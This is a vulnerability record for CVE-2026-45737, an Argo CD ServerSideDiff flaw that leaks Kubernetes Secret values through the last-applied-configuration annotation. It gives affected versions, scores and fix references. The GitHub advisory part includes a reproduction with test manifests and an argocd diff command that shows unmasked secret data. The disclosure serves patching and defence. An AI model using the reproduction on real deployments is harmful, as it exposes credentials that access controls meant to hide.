CVE-2026-45737
JSON

6.3medium

Argo CD: Kubernetes Secret Extraction via ArgoCD ServerSideDiff via sensitive annotations

Severity
6.3medium CVSS:3.1 by GitHub_M
Exploit likelihood
0.36% (higher than 31% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-rg3g-4rw9-gqrpBIT-ARGO-CD-2026-45737GO-2026-5618

Description

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. From 3.2.0 until 3.2.12, 3.3.10, and 3.4.2, Argo CD ServerSideDiff can expose Kubernetes Secret values embedded in the kubectl.kubernetes.io/last-applied-configuration annotation because HideSecretData(target, live, ...) does not fully sanitize ResourceDiff.TargetState and LiveState predicted live Secret objects, allowing sensitive data, stringData, and annotations to appear in UI or CLI diffs. This issue is fixed in versions 3.2.12, 3.3.10, and 3.4.2.

Affected

Product or packageVersionsReported by
argoproj argo-cd>= 3.2.0, < 3.2.12, >= 3.3.9, < 3.3.10, >= 3.4.1, < 3.4.2CVE List
github.com/argoproj/argo-cd/v3 (Go)from 3.2.0 before 3.2.12, from 3.3.0-rc1 before 3.3.10, from 3.4.0-rc1 before 3.4.2GitHub Advisory Database, Go Vulnerability Database
github.com/argoproj/argo-cd (Go)all versionsGo Vulnerability Database
github.com/argoproj/argo-cd/v2 (Go)all versionsGo Vulnerability Database
argoproj argo_cdfrom 3.2.0 before 3.2.12, from 3.3.9 before 3.3.10, from 3.4.1 before 3.4.2NVD
argo-cd (Bitnami)from 3.2.0 before 3.2.12, from 3.3.9 before 3.3.10, from 3.4.1 before 3.4.2Bitnami Vulnerability Database

All scores

GitHub_M6.3medium CVSS:3.1CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N
GitHub6.3medium CVSS:3.1CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N
NVD6.5medium CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Bitnami Vulnerability Databasemedium rating

Classification

CWE-200CWE-212

SSVC (CISA-ADP): exploitation poc, automatable no, technical impact partial.

What each source says

CVE List

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. From 3.2.0 until 3.2.12, 3.3.10, and 3.4.2, Argo CD ServerSideDiff can expose Kubernetes Secret values embedded in the kubectl.kubernetes.io/last-applied-configuration annotation because HideSecretData(target, live, ...) does not fully sanitize ResourceDiff.TargetState and LiveState predicted live Secret objects, allowing sensitive data, stringData, and annotations to appear in UI or CLI diffs. This issue is fixed in versions 3.2.12, 3.3.10, and 3.4.2.

GitHub Advisory Database
Summary

The original fix for GHSA-3v3m-wc6v-x4x3 is incomplete. argocd app diff --server-side-diff can still expose Kubernetes Secret values embedded in the kubectl.kubernetes.io/last-applied-configuration annotation.

The prior fix masks top-level Secret data in ServerSideDiff responses, but it does not fully sanitize Secret data stored inside the last-applied-configuration annotation. If a Secret was previously created or updated using client-side apply, that annotation may contain raw data, stringData, and sensitive annotations. These values can be shown in UI/CLI diffs.

Details

The ServerSideDiff endpoint returns ResourceDiff.TargetState / LiveState based on server-side dry-run output. Kubernetes server-side dry-run can return a full predicted live Secret object that carries forward existing live annotations, including:

kubectl.kubernetes.io/last-applied-configuration For Secrets created with client-side apply, that annotation can contain a JSON-serialized Secret manifest with sensitive values.

The masking path calls HideSecretData(target, live, ...). However, HideSecretData only rewrites the last-applied annotation on the second argument (live). In server-side diff, the first argument can be predictedLive, not a clean Git target. predictedLive can also contain kubectl.kubernetes.io/last-applied-configuration, so the first object’s embedded annotation can remain unmasked.

PoC

Create an app containing this Secret manifest:

apiVersion: v1
kind: Namespace
metadata:
  name: last-applied-secret-repro
---
apiVersion: v1
kind: Secret
metadata:
  name: secret
  namespace: last-applied-secret-repro
  annotations:
    app: test
    token: SECRETVAL
type: Opaque
data:
  password: U0VDUkVUVkFM
  username: U0VDUkVUVkFM

Create and Sync Argo App

apiVersion: argoproj.io/v1alpha1
kind: Application
metadata:
  name: last-applied-secret-repro
  namespace: argocd
  annotations:
    argocd.argoproj.io/compare-options: ServerSideDiff=true,IncludeMutationWebhook=true
spec:
  project: default
  destination:
    server: https://kubernetes.default.svc
    namespace: last-applied-secret-repro
  source:
    repoURL: https://github.com/YOUR_ORG/YOUR_REPO.git
    targetRevision: HEAD
    path: last-applied-secret-repro
  syncPolicy:
    automated:
      prune: true
      selfHeal: true
    syncOptions:
      - CreateNamespace=true
      - ServerSideApply=true

Run argo cd app diff argocd app diff last-applied-secret-repro --server-side-diff --exit-code=false

❯ argocd app diff last-applied-secret-repro --server-side-diff --exit-code=false

===== /Secret last-applied-secret-repro/secret ======
10c10,11
<     kubectl.kubernetes.io/last-applied-configuration: '{"apiVersion":"v1","data":{"password":"++++++++","username":"++++++++"},"kind":"Secret","metadata":{"annotations":{"app":"test","argocd.argoproj.io/tracking-id":"last-applied-secret-repro:/Secret:last-applied-secret-repro/secret","token":"SECRETVAL"},"name":"secret","namespace":"last-applied-secret-repro"},"type":"Opaque"}'
---
>     kubectl.kubernetes.io/last-applied-configuration: |
>       {"apiVersion":"v1","data":{"password":"U0VDUkVUVkFM","username":"U0VDUkVUVkFM"},"kind":"Secret","metadata":{"annotations":{"app":"test","argocd.argoproj.io/tracking-id":"last-applied-secret-repro:/Secret:last-applied-secret-repro/secret","token":"SECRETVAL"},"name":"secret","namespace":"last-applied-secret-repro"},"type":"Opaque"}

The secret value can be seen inside the diff

Impact

Authenticated Argo CD users who can view application diffs may be able to read Secret values that should be masked.

Impacted values include: Secret data embedded in kubectl.kubernetes.io/last-applied-configuration

Go Vulnerability Database

Argo CD: Kubernetes Secret Extraction via ArgoCD ServerSideDiff via sensitive annotations in github.com/argoproj/argo-cd

NVD (es)

Argo CD es una herramienta de entrega continua declarativa, GitOps, para Kubernetes. Desde la 3.2.0 hasta la 3.2.12, la 3.3.10 y la 3.4.2, ServerSideDiff de Argo CD puede exponer valores de Secret de Kubernetes incrustados en la anotación kubectl.kubernetes.io/last-applied-configuration porque HideSecretData(target, live, ...) no sanea completamente ResourceDiff.TargetState y LiveState objetos Secret en vivo predichos, permitiendo que datos sensibles, stringData y anotaciones aparezcan en las diferencias de la interfaz de usuario o de la línea de comandos. Este problema está solucionado en las versiones 3.2.12, 3.3.10 y 3.4.2.

References

https://github.com/argoproj/argo-cd/security/advisories/GHSA-rg3g-4rw9-gqrpadvisory, exploit, vendor-advisory, web
https://github.com/argoproj/argo-cd/commit/7879e6322465080a82d152bf00f2b92e0f36c658fix, patch
https://github.com/argoproj/argo-cd/commit/87e9148320749693624d08e3d6fa2cc217c672a0fix, patch
https://github.com/argoproj/argo-cd/commit/ac11bec9986807adc8886ef1181eced7347ef5c6fix, patch
https://github.com/argoproj/argo-cd/commit/bcb4298afc9fcff5f5d69f4e1db2d0a75983f42cfix, patch
https://github.com/argoproj/argo-cd/releases/tag/v3.2.12article, release-notes
https://github.com/argoproj/argo-cd/releases/tag/v3.3.10article, release-notes
https://github.com/argoproj/argo-cd/releases/tag/v3.4.2article, release-notes
https://github.com/argoproj/argo-cdpackage
https://nvd.nist.gov/vuln/detail/CVE-2026-45737web

Sources

SourceRecordLicence
CVE ListCVE-2026-45737 changed 2026-07-16CVE Terms of Use
GitHub Advisory DatabaseGHSA-rg3g-4rw9-gqrp changed 2026-09-10CC-BY-4.0
Go Vulnerability DatabaseGO-2026-5618 changed 2026-07-20CC-BY-4.0
NVDCVE-2026-45737 changed 2026-10-24Public domain
Bitnami Vulnerability DatabaseBIT-ARGO-CD-2026-45737 changed 2026-09-08Apache-2.0